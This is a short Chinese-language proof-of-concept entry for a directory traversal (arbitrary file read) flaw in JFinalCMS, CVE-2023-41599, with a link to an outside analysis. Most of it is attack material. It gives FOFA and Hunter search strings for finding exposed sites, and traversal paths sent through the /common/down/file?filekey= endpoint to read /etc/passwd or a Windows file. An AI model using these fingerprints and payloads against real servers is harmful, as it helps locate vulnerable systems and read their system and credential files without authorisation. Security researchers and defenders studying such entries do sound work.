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JFinalCMS 任意文件读取漏洞(CVE-2023-41599)

特征

fofa:
body="content=\"JreCms"

hunter:
web.body="content=\"JreCms"

POC

Windows: /../../../../../../../../../test.txt
Linux:    /../../../../../../../../../etc/passwd

/common/down/file?filekey=/../../../../../../../../../etc/passwd

漏洞分析

http://www.so1lupus.ltd/2023/08/28/Directory-traversal-in-JFinalCMS/